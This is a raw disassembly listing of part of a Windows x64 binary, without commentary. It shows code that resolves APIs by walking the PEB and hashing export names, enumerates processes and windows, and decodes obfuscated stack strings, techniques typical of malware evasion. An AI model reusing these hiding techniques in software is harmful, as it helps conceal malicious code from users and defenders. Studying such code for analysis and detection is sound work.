cmp ecx, 0xe463da3c
je 0x14012385d
inc r9d
jmp 0x14012381f
mov r8, qword [r9 + 0x30]
jmp 0x140123804
mov edx, dword [r11 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r11 + r8 + 0x24]
add rcx, r8
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x1404fba00]
test r10, r10
jne 0x1401239ea
xor esi, esi
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x1401238fe
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401238f0
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401238df
cmp r8d, esi
jne 0x1401239cd
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x1401239cd
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1401239cd
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140123952
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140123947
cmp edx, r14d
je 0x140123968
test r9d, r9d
jne 0x140123932
jmp 0x1401239cd
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r10d, dword [r8 + rdx*4]
add r10, rbx
cmp r10, r11
jbe 0x1401239e3
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x1401239e3
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401239aa
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r10
mov al, byte [r10]
cmp al, 0x2e
jne 0x14012399c
jmp 0x1401239c0
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r10
mov al, byte [r10]
test al, al
jne 0x1401239b3
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x1401239e0
cmp qword [rdi + 0x30], 0
jne 0x1401238ae
xor r10d, r10d
mov qword [0x1404fba00], r10
lea r9, [rbp + 0xe20]
mov edx, 0x5000
mov r8d, 1
mov rcx, r12
call r10
mov r8, qword [0x1404fc160]
test r8, r8
jne 0x140123b6d
xor esi, esi
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x140123a81
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140123a73
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140123a62
cmp r8d, esi
jne 0x140123b50
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x140123b50
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140123b50
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140123ad5
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140123aca
cmp edx, r14d
je 0x140123aeb
test r9d, r9d
jne 0x140123ab5
jmp 0x140123b50
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r8d, dword [r8 + rdx*4]
add r8, rbx
cmp r8, r10
jbe 0x140123b66
lea rcx, [r10 + rax]
cmp r8, rcx
jae 0x140123b66
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x140123b2d
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r8
mov al, byte [r8]
cmp al, 0x2e
jne 0x140123b1f
jmp 0x140123b43
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc r8
mov al, byte [r8]
test al, al
jne 0x140123b36
mov rdi, qword [r15]
mov rdi, qword [rdi]
cmp rdi, r15
je 0x140123b63
cmp qword [rdi + 0x30], 0
jne 0x140123a31
xor r8d, r8d
mov qword [0x1404fc160], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
lea r8, [rbp + 0xe24]
mov edx, 0x1000
lea rcx, [rbp + 0x2490]
call sub.KERNEL32.dll_K32EnumProcesses
mov r15d, 1
test eax, eax
je 0x140123bcc
mov eax, dword [rbp + 0xe24]
shr eax, 2
test eax, eax
je 0x140123bcc
lea rbx, [rbp + 0x2490]
mov edi, eax
mov ecx, dword [rbx]
call fcn.1401a2fb0
lea rbx, [rbx + 4]
sub rdi, r15
jne 0x140123bbc
xor edx, edx
lea rcx, [0x14012de70]
call qword [sym.imp.USER32.dll_EnumWindows]
call fcn.140103894
test al, al
jne 0x140128cd0
mov byte [rbp + 0x950], 0x9b
mov byte [rbp + 0x951], 0x59
mov r12d, 0x80
mov byte [rbp + 0x952], r12b
mov byte [rbp + 0x953], 0x5b
mov byte [rbp + 0x954], 0xa0
mov byte [rbp + 0x955], 0x45
mov byte [rbp + 0x956], 0xbb
mov byte [rbp + 0x957], 0x47
mov byte [rbp + 0x958], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x959], 0x41
mov byte [rbp + 0x95a], 0xaf
mov byte [rbp + 0x95b], 0x43
mov byte [rbp + 0x95c], 0xde
mov byte [rbp + 0x95d], Ordinal_79
mov byte [rbp + 0x95e], 0xdd
mov byte [rbp + 0x95f], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x960], 0xac
mov byte [rbp + 0x961], Ordinal_79
mov byte [rbp + 0x962], 0x86
mov byte [rbp + 0x963], Ordinal_79
mov byte [rbp + 0x964], 0x99
mov byte [rbp + 0x965], 0x75
mov byte [rbp + 0x966], 0x98
mov byte [rbp + 0x967], 0x77
mov byte [rbp + 0x968], __WSAFDIsSet
mov byte [rbp + 0x969], WSACleanup
mov byte [rbp + 0x96a], 0xef
mov byte [rbp + 0x96b], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x96c], 0xe8
mov byte [rbp + 0x96d], 0x7d
mov byte [rbp + 0x96e], 0xe2
mov byte [rbp + 0x96f], 0x7f
mov byte [rbp + 0x970], 0x9c
mov byte [rbp + 0x971], 0x79
mov byte [rbp + 0x972], 0xbb
mov byte [rbp + 0x973], 0x7b
mov byte [rbp + 0x974], 0xf4
mov byte [rbp + 0x975], 0x65
mov byte [rbp + 0x976], 0xf6
mov byte [rbp + 0x977], 0x67
mov byte [rbp + 0x978], 0xac
mov byte [rbp + 0x979], 0x61
mov byte [rbp + 0x97a], 0x83
mov byte [rbp + 0x97b], 0x63
mov byte [rbp + 0x97c], 0xf0
mov byte [rbp + 0x97d], WSASetLastError
mov byte [rbp + 0x97e], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x97f], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x980], Ordinal_143
mov byte [rbp + 0x981], WSAGetLastError
mov byte [rbp + 0x982], 0xa7
mov byte [rbp + 0x983], WSASetLastError
mov byte [rbp + 0x984], 0x88
mov byte [rbp + 0x985], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x986], 0xfe
mov byte [rbp + 0x987], reloc.WS2_32.dll_socket
mov byte [rbp + 0x988], 0xfd
mov byte [rbp + 0x989], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x98a], r12b
mov byte [rbp + 0x98b], reloc.WS2_32.dll_send
mov byte [rbp + 0x98c], 0xfd
mov byte [rbp + 0x98d], Ordinal_32
mov byte [rbp + 0x98e], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x98f], Ordinal_32
mov byte [rbp + 0x990], 0xfa
mov byte [rbp + 0x991], Ordinal_27
mov byte [rbp + 0x992], 0xf3
mov byte [rbp + 0x993], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x994], __WSAFDIsSet
mov byte [rbp + 0x995], 5
mov byte [rbp + 0x996], 6
mov byte [rbp + 0x997], 7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x998], xmm0
mov qword [rbp + 0x9a8], rax
mov bl, byte [rsp + 0x50]
movabs rsi, 0xe2ff43c1b0c1bb8c
movabs r14, 0x289fac1d7322f8a4
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor r11d, r11d
cmp r11, 0x60
jae 0x140124805
movzx r9d, byte [rbp + r11 + 0x950]
mov edx, r9d
cmp rdi, r11
ja 0x1401247fc
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140123e66
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, rdx
imul r8, rax, 0xfffffffffffffffe
add r8, rcx
add r8, rdx
add r8b, 0x2c
jmp 0x140123e96
je 0x140124785
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140124734
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401246d7
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401246b1
mov r8b, bl
cmp r10, r11
ja 0x1401247f3
lea rax, [r10 + 0x400]
cmp rdi, rax
jae 0x140123ec9
movabs rbx, 0x9ef08ee37fe4627c
add rbx, r11
mov al, bl
and al, r9b
add al, al
sub bl, al
sub bl, 0x64
add bl, r9b
jmp 0x140123f00
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140124669
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140124646
lea rax, [r10 + 4]
cmp rdi, rax
je 0x140124625
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140124603
mov bl, r8b
lea rax, [r10 + rdi]
cmp rax, r11
jbe 0x140124225
lea rax, [r10 + 0x41]
cmp rdi, rax
je 0x140124203
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x1401241ef
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1401241cd
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x1401241ab
lea rax, [r10 + 0x80]
cmp rdi, rax
je 0x140124189
lea rax, [r10 + 9]
cmp rdi, rax
je 0x140124163
lea rdi, [r10 + 4]
lea r10, [rdi + 0x2a]
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x1401247da
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x1401247b8
lea rax, [r10 + 5]
cmp rdi, rax
jb 0x140124025
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x14012414c
lea rax, [r10 + 0x42]
cmp rdi, rax
jb 0x14012411e
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x140123f0d
lea rdi, [r10 + 2]
lea r10, [rdi + 0x41]
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x14012410a
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x1401240f9
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x1401240d7
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x1401240b1
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x14012408b
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x140124069
lea rax, [r10 + 0x28]
cmp rdi, rax
ja 0x140124047
lea rdi, [r10 + 0x80]
lea r10, [rdi + 0x28]
jmp 0x140123f0d
movabs rcx, 0x4099ca2af930d504
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x1c
jmp 0x140123f00
movabs rcx, 0xf784771bff2313e0
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x20
jmp 0x140124686
movabs rcx, 0x3185ef989d9f9cc8
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x78
jmp 0x1401246ac
movabs rdx, 0x6b8768153c1c25b0
add rdx, r11
mov al, dl
and al, r9b
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401246cf
movabs rdx, 0x198bd18b1791c068
add rdx, r11
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140124725
movabs rcx, 0x538d4a07b60e4950
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x30
jmp 0x1401245ca
movabs rdx, 0x8d8ec284548ad238
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x140124172
movabs rdx, 0xc7903b00f3075b20
mov ecx, reloc.WS2_32.dll_recv
jmp 0x140124307
movabs rdx, 0x5893e8387f3eb164
add rdx, r11
mov al, dl
and al, r9b
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
mov byte [rbp + r11 + 0x950], bl
jmp 0x1401247b0
movabs rdx, 0x69851ae5ab44c1c
add rdx, r11
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x14012423b
movabs rdx, 0xf3a4d1d19dd6d7d0
mov ecx, Ordinal_41
add rdx, r11
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140124750
movabs rcx, 0x2da64a4e3c5360b8
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 8
jmp 0x1401245ca
movabs rcx, 0x67a7c2cadacfe9a0
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x60
jmp 0x140124725
movabs rcx, 0x15ac2c40b6458458
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x68
jmp 0x1401246cf
movabs rdx, 0x4fada4bd54c20d40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140124411
movabs rcx, 0x89af1d39f33e9628
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x18
jmp 0x140124686
lea rax, [r10 + 0x61]
cmp rdi, rax
jae 0x1401242ef
lea rdx, [r11 + rsi]
mov ecx, reloc.WLDAP32.dll_Ordinal_22
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
lea rax, [r10 + rdi]
cmp rax, 2
je 0x1401245a1
lea rax, [r10 + 0x41]
cmp rdi, rax
jbe 0x1401243ce
movabs rdx, 0x16d325271e29b05c
add rdx, r11
mov al, dl
and al, r9b
mov ecx, 0x3e
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
cmp rdi, r12
jae 0x140124576
lea rax, [r10 + 0x28]
cmp rdi, rax
jbe 0x140124482
movabs rdx, 0xb5c3b40a9e0e12d8
add rdx, r11
mov al, dl
and al, r9b
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
cmp r10, 0x42
jb 0x14012413f
movabs rcx, 0x71b4ff2c6d30b9c8
add rcx, r11
mov al, cl
and al, r9b
mov edx, 4
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea ebx, [rdx + rdx]
jmp 0x140124686
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14012431e
movabs rdx, 0x3de11dc6ffc8c4f8
mov ecx, Ordinal_32
add rdx, r11
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401247a1
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140124349
movabs rcx, 0xc9de2ccdc2cfb328
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x18
jmp 0x1401245ca
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140124374
movabs rcx, 0x55db3bd485d6a158
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x68
jmp 0x140124722
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14012439f
movabs rcx, 0x1bd9c357e75a1870
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x10
jmp 0x1401246f8
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x14012424a
movabs rcx, 0x6dd559e20be47db8
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 8
jmp 0x140124686
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401243f9
movabs rcx, 0xdcd1acaa7fad2774
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x2c
jmp 0x140124686
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140124428
movabs rdx, 0xa2d0342de1309e8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r11
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401246ac
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140124453
movabs rcx, 0xbaca523b673e7aec
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x74
jmp 0x140124725
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x140124286
movabs rcx, 0x80c8d9bec8c1f204
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x1c
jmp 0x1401245ca
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14012449f
movabs rdx, 0x7bc23b8dff9189f0
mov ecx, Ordinal_60
jmp 0x140124307
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401244ca
movabs rcx, 0x41c0c31161150108
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x38
jmp 0x140124750
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401244f5
movabs rcx, 0x93bc599b859f6650
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x30
jmp 0x140124722
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14012451c
movabs rdx, 0x59bae11ee722dd68
add rdx, r11
mov al, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x140124597
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140124547
movabs rcx, 0x1fb968a248a65480
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
add bl, r12b
jmp 0x1401246cf
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401242bd
movabs rcx, 0xe5b7f025aa29cb98
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x28
jmp 0x1401246ac
movabs rdx, 0x37b386afceb430e0
add rdx, r11
mov al, dl
and al, r9b
add al, al
mov bl, byte [rbp + r11 + 0x950]
sub bl, al
sub bl, 0x20
add bl, dl
add bl, r9b
jmp 0x1401246f8
movabs rdx, 0xfdb20e333037a7f8
add rdx, r11
mov al, dl
and al, r9b
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r11 + 0x950]
add bl, dl
add bl, r9b
movabs rdx, 0xe0b151f4e0f96384
add rdx, r11
mov al, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x950], al
add r10, r15
add rax, r10
sub r11, rax
jmp 0x140124750
movabs rcx, 0x42e7bbf7c8f92d0c
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x54
jmp 0x140124725
movabs rdx, 0xb6eaacf105f23edc
add rdx, r11
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 4
jmp 0x1401246f6
movabs rdx, 0x2aed9dea42eb50ac
add rdx, r11
mov al, r9b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
jmp 0x1401246ac
movabs rcx, 0x64ef1666e167d994
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0xc
movabs rcx, 0x54b442ee1df27554
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x4c
add r9b, cl
mov byte [rbp + r11 + 0x950], r9b
add r10, r15
jmp 0x1401246cf
movabs rcx, 0x4cf4f8595b59fd34
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
sub bl, 0x6c
sub r11, r15
jmp 0x1401247b0
movabs rdx, 0x86f670d5f9d6861c
add rdx, r11
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, dl
movabs rdx, 0x1ab2ca717f75ec6c
add rdx, r11
mov al, r9b
and al, dl
mov ecx, 6
sub cl, al
add cl, cl
add cl, r9b
add cl, bl
add cl, dl
mov byte [rbp + r11 + 0x950], cl
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
jmp 0x1401247b0
movabs rcx, 0x6efc52c873c8a9bc
add rcx, r11
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x24
movabs rcx, 0xc3b095b691bb1f10
add rcx, r11
mov al, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x70
add r9b, cl
mov byte [rbp + r11 + 0x950], r9b
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r11, rax
jmp 0x1401247a1
movabs rcx, 0xa8fdcb45124532a4
add rcx, r11
mov al, dl
and al, cl
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7c
movzx eax, byte [rbp + r11 + 0x950]
add rax, r10
add r11, rax
add r11, r15
jmp 0x140123e24
movabs rcx, 0xee9e33a0d4a66fbc
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x24
jmp 0x140123e21
lea rcx, [r11 + r14]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7c
jmp 0x140123e11
lea rdx, [rbp + 0x16a0b60]
jmp 0x14012480c
lea rdx, [rbp + 0x6bc6ec]
jmp 0x14012480c
lea rdx, [rbp + 0x950]
lea rcx, [rbp + 0x440]
call fcn.1400caa9c
mov rbx, rax
mov qword [rsp + 0x58], rax
mov esi, 0x108
mov r8d, esi
xor edx, edx
lea rcx, [rbp + 0x1c10]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140124843
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
lea rcx, [rbp + 0x1c10]
call fcn.1400ca964
nop
lea rcx, [rbp + 0x1c10]
call fcn.1401aa82c
nop
lea rcx, [rbp + 0x1c10]
call fcn.14008b590
nop
mov rcx, rbx
call fcn.140091ed0
mov byte [rbp + 0x850], 0x9b
mov byte [rbp + 0x851], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x852], 0x90
mov byte [rbp + 0x853], 0xdb
mov byte [rbp + 0x854], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x855], Ordinal_217
mov byte [rbp + 0x856], 0x7b
mov byte [rbp + 0x857], Ordinal_217
mov byte [rbp + 0x858], 0x43
mov byte [rbp + 0x859], Ordinal_211
mov byte [rbp + 0x85a], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x85b], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x85c], 0x5e
mov byte [rbp + 0x85d], Ordinal_211
mov byte [rbp + 0x85e], 0x5d
mov byte [rbp + 0x85f], Ordinal_211
mov byte [rbp + 0x860], WSASetLastError
mov byte [rbp + 0x861], 0xc9
mov byte [rbp + 0x862], 0x7a
mov byte [rbp + 0x863], 0xcb
mov byte [rbp + 0x864], Ordinal_79
mov byte [rbp + 0x865], Ordinal_200
mov byte [rbp + 0x866], 0x64
mov byte [rbp + 0x867], Ordinal_200
mov byte [rbp + 0x868], 0x54
mov byte [rbp + 0x869], 0xc1
mov byte [rbp + 0x86a], 0x5b
mov byte [rbp + 0x86b], Ordinal_200
mov byte [rbp + 0x86c], 0x9f
mov byte [rbp + 0x86d], 0x3d
mov byte [rbp + 0x86e], 0x9a
mov byte [rbp + 0x86f], 0x3f
mov byte [rbp + 0x870], 0x84
mov byte [rbp + 0x871], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x872], 0xa8
mov byte [rbp + 0x873], Ordinal_60
mov byte [rbp + 0x874], 0xad
mov byte [rbp + 0x875], gethostname
mov byte [rbp + 0x876], 0xb8
mov byte [rbp + 0x877], Ordinal_60
mov byte [rbp + 0x878], 0xad
mov byte [rbp + 0x879], Ordinal_50
mov byte [rbp + 0x87a], 0xa0
mov byte [rbp + 0x87b], gethostname
mov byte [rbp + 0x87c], 0xbf
mov byte [rbp + 0x87d], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x87e], 0x78
mov byte [rbp + 0x87f], Ordinal_50
mov byte [rbp + 0x880], Ordinal_143
mov byte [rbp + 0x881], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x882], 0xb3
mov byte [rbp + 0x883], Ordinal_46
mov byte [rbp + 0x884], 0xb2
mov r14d, Ordinal_41
mov byte [rbp + 0x885], r14b
mov byte [rbp + 0x886], Ordinal_41
mov byte [rbp + 0x887], Ordinal_41
xor eax, eax
mov qword [rbp + 0x888], rax
mov dword [rbp + 0x890], eax
mov word [rbp + 0x894], ax
mov byte [rbp + 0x896], al
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x47
jae 0x14012558d
movzx r8d, byte [rbp + r9 + 0x850]
mov rdx, r8
cmp rdi, r9
ja 0x140125584
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140124a8d
movabs r11, 0x76773772b8399364
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x44
jmp 0x140124ac4
je 0x140125501
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401254d1
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401254af
lea rax, [r10 + 7]
cmp rdi, rax
je 0x140125461
movabs r11, 0x76773772b8399364
cmp r10, r9
ja 0x14012557b
lea rax, [r10 + 0x28]
cmp rdi, rax
jae 0x140124af5
movabs rcx, 0xb7c78c691cb91734
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6c
jmp 0x140124b36
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140125450
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14012542d
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401253e2
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401253bc
lea rax, [r10 + 6]
cmp rdi, rax
je 0x140125331
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x140124f24
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140124f00
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x140124edd
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140124ec9
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x140124ea7
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x140124e81
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x140124e5e
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x140124e4a
lea rdi, [r10 + 0x5a]
lea r10, [rdi + 0x40]
lea rax, [r10 + 0x20]
cmp rdi, rax
jb 0x140125559
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x140125533
lea rax, [r10 + 0x10]
cmp rdi, rax
jb 0x140124ce4
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x140124cbe
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x140124c9c
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x140124e33
lea rax, [r10 + 0x5a]
